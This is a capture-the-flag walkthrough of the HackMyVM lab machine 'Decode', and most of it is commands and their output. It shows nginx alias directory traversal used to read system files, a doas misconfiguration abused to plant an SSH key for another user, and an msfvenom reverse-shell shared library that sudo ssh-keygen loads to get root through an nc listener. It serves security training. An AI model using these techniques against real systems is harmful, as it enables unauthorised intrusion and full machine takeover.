decode full walkthrough hackmyvm

Decode from HackMyVM – Full Walkthrough

“Decode” is an easy machine from HackMyVM by the user avijneyam. This machine requires some common sense to gather information. The enumeration is fairly easy. The enumeration starts by looking at the robots.txt file. We have some hints there about the next vulnerability. Then, we have to find a file that contains the password of one of the users. “Decode from HackMyVM – Full Walkthrough”

Link to the machine

Step 1: Find the IP address

Firstly, we have to identify the IP address of the target machine using the arp scanning mechanism. For this, I use fping.

❯ fping -aqg

The IP address of the target is

Step 2: Scan services of the target

Next, we have to scan the services available to the network using nmap.

❯ nmap -T4 -sC -sV -p- -oN nmap.log
Starting Nmap 7.92 ( ) at 2022-04-30 09:28 +0545
Nmap scan report for
Host is up (0.00076s latency).
Not shown: 65533 closed tcp ports (conn-refused)
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   3072 27:71:24:58:d3:7c:b3:8a:7b:32:49:d1:c8:0b:4c:ba (RSA)
|   256 e2:30:67:38:7b:db:9a:86:21:01:3e:bf:0e:e7:4f:26 (ECDSA)
|_  256 5d:78:c5:37:a8:58:dd:c4:b6:bd:ce:b5:ba:bf:53:dc (ED25519)
80/tcp open  http    nginx 1.18.0
| http-robots.txt: 1 disallowed entry 
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

From the nmap scan results, we can see open ports 80 and 22. We also see an entry /encode from the robots.txt file.

Step 3: Enumerate the webserver

Let’s start by looking at the robots.txt file.

❯ curl
User-agent: decode
Disallow: /encode/

User-agent: *
Allow: /
Allow: /decode
Allow: ../
Allow: /index
Allow: .shtml
Allow: /lfi../
Allow: /etc/
Allow: passwd
Allow: /usr/
Allow: share
Allow: /var/www/html/
Allow: /cgi-bin/

Here, we got a hint about the files that we might want to look into. Definitely, it gives us an idea about the vulnerability we are looking for. Since this is an Nginx server, “lfi../” refers to the “alias” misconfiguration. This could lead to directory traversal (file path traversal).

From the robots.txt file, we get to see a path “decode”. Further reconnaissance shows the misconfiguration lies here.

❯ curl -I
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0
Date: Sat, 30 Apr 2022 13:16:27 GMT
Content-Type: text/html
Connection: keep-alive

If you see the response header “Location”, it adds a trailing slash at the end of our request. Now, let’s check what it does if we put a “..”, after it.

❯ curl -I
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0
Date: Sat, 30 Apr 2022 13:27:51 GMT
Content-Type: text/html
Connection: keep-alive

Here, it also adds the trailing slash. So, if the path /decode points to something like, /var/www/alias/, then, it would point to /var/www/alias/../. This is the vulnerability that we are looking for.

However, how did I find that the path “/decode” has an alias?

For this, we have another hint “cgi-bin” and “”. The directory “cgi-bin”, present on “/usr/lib/cgi-bin” on the Debian Linux distro, contains the scripts that can be run by the server.

❯ curl
DATE: Sat 30 Apr 2022 09:32:46 AM EDT

PWD: /var/www/html/
CMD: ls -la

total 24
drwxr-xr-x 2 www-data www-data 4096 Apr 15 14:24 .
drwxr-xr-x 3 root     root     4096 Apr 11 14:30 ..
-rw-r--r-- 1 root     root      240 Apr 15 14:24 1
-rw-r--r-- 1 root     root       22 Apr 14 05:14 file.php
-rw-r--r-- 1 root     root      612 Apr 13 14:01 index.html
-rw-r--r-- 1 root     root      240 Apr 15 14:24 robots.txt

As we can see above, we only have four files inside the default server location for hosting. However, our Nginx server responded for the /decode path. This definitely shows either the path is aliased or reverse proxied.

Step 3: Perform directory traversal

When I visited the path, I got a forbidden error.

❯ curl
<head><title>403 Forbidden</title></head>
<center><h1>403 Forbidden</h1></center>

This gave me no choice but to perform directory bruteforcing.

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u -q
/bin                  (Status: 301) [Size: 169] [-->]
/boot                 (Status: 301) [Size: 169] [-->]
/dev                  (Status: 301) [Size: 169] [-->] 
/etc                  (Status: 301) [Size: 169] [-->] 
/home                 (Status: 301) [Size: 169] [-->]
/lib                  (Status: 301) [Size: 169] [-->] 
/lost+found           (Status: 403) [Size: 153]                                       
/media                (Status: 301) [Size: 169] [-->]
/opt                  (Status: 301) [Size: 169] [-->]  
/proc                 (Status: 301) [Size: 169] [-->] 
/root                 (Status: 403) [Size: 153]                                        
/run                  (Status: 301) [Size: 169] [-->]  
/sbin                 (Status: 301) [Size: 169] [-->] 
/srv                  (Status: 301) [Size: 169] [-->]  
/sys                  (Status: 301) [Size: 169] [-->]  
/tmp                  (Status: 301) [Size: 169] [-->]  
/var                  (Status: 301) [Size: 169] [-->]  
/usr                  (Status: 301) [Size: 169] [-->]

From this, we are safe to say that we reach to root directory one level above the /decode path.

Step 4: Enumerate different files

The use of directory traversal is that it allows us to look for different files. First of all, let’s check the passwd file as indicated by the author in the robots.txt file.

❯ curl
# redacted ...

Here, we can observe that there is a password for the user “steve”. Likewise, there are other two users as well. Interestingly, the home directory of the user “steve” is “/usr/share”. We can also see this in our robots.txt file.

I tried bruteforcing the password for the hash using john the ripper, but I had no luck. Next, I checked for the bash history file of the user “steve”.

❯ curl
rm -rf /usr/share/ssl-cert/decode.csr

It gave us a CSR file “Certificate Signing Report” used in SSL certificates. With the same method, I checked the file and decoded it using an online tool. This gave me the password of the user steve. I am going to skip that step here as it is pretty straightforward.

Step 5: Enumerate to get another user

Using the password, we can log into the user steve. After this, we can check the sudo permissions.

steve@decode:~$ sudo -l
Matching Defaults entries for steve on decode:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User steve may run the following commands on decode:
    (decoder) NOPASSWD: /usr/bin/openssl enc *, /usr/bin/tee

Although the user can read/write the files whose owner is the user decoder, it’s of no use. If we notice, there isn’t a home directory for the user decoder. Nevertheless, there is another directory /opt/decode where I tried to get some files. I couldn’t find anything using this method.

Reference for the above:

However, when I checked for SUID binaries, I found “doas” in the list.

steve@decode:~$ find / -perm -u=s 2>/dev/null

/usr/bin/doas is a binary that allows us to execute commands on behalf of another user. This binary also has a configuration that stores information about the commands that a user can perform.

steve@decode:~$ cat /etc/doas.conf 
permit nopass steve as ajneya cmd cp

The configuration is also simple. We can see that the user can use the command “cp” on behalf of the user “ajneya”.

Step 6: Switch to the user ajneya

When we check the home directory of ajneya, we won’t find a “.ssh” directory inside of it. To get access, we can copy our SSH public key into a directory .ssh as a file name “authorized_keys”. Then, we can give open permissions to the directory so that the user ajneya can copy this to his home directory.

I am skipping the part where I copied my public key to the .ssh directory in the target.

steve@decode:/tmp$ chmod 777 -R .ssh/
steve@decode:/tmp$ doas -u ajneya cp -r .ssh/ /home/ajneya/

This way, we manually authorized ourselves to log in using our private key.

❯ ssh ajneya@
Linux decode 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Apr 30 10:55:35 2022 from
ajneya@decode:~$ id
uid=1003(ajneya) gid=1003(ajneya) groups=1003(ajneya)

Step 7: Root privilege escalation

For the root privilege escalation part, I checked the sudo permissions. I found out that the user was able to execute ssh-keygen as root.

ajneya@decode:~$ sudo -l
Matching Defaults entries for ajneya on decode:
    env_reset, mail_badpass,

User ajneya may run the following commands on decode:
    (root) NOPASSWD: /usr/bin/ssh-keygen * /opt/*

However, we have a format to use the command. This binary is also present on the gtfobins website.


To exploit this, we need to create a shared library. We can do that using msfvenom on our attacking machine. This will generate reverse shellcode. I will be listening on port 9001 as usual.

❯ msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT=9001 -o -f elf-so
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf-so file: 476 bytes
Saved as:

Next, we have to upload this to the target machine.

❯ scp ajneya@                                        100%  476   416.9KB/s   00:00

However, for our exploit to work, this file should be in the “/opt/*” directory. As we know, we don’t have permission to put our files there.

Nevertheless, the previous user steve was able to write on “/opt/decode” directory using sudo permissions. So, let’s log in as the user steve.

steve@decode:~$ cat /tmp/ | sudo -u decoder tee /opt/decode/


Before executing the exploit, we have to start a netcat listener on our machine.

❯ nc -nlvp 9001
Ncat: Version 7.92 ( )
Ncat: Listening on :::9001
Ncat: Listening on

Finally, from the shell of ajneya, we can execute the exploit.

ajneya@decode:~$ sudo ssh-keygen -D /opt/decode/

We get the reverse shell by this.

❯ nc -nlvp 9001
Ncat: Version 7.92 ( )
Ncat: Listening on :::9001
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
uid=0(root) gid=0(root) groups=0(root)

Upgrade to an intelligent reverse shell

5 2 votes
Article Rating
Notify of
Newest Most Voted
Inline Feedbacks
View all comments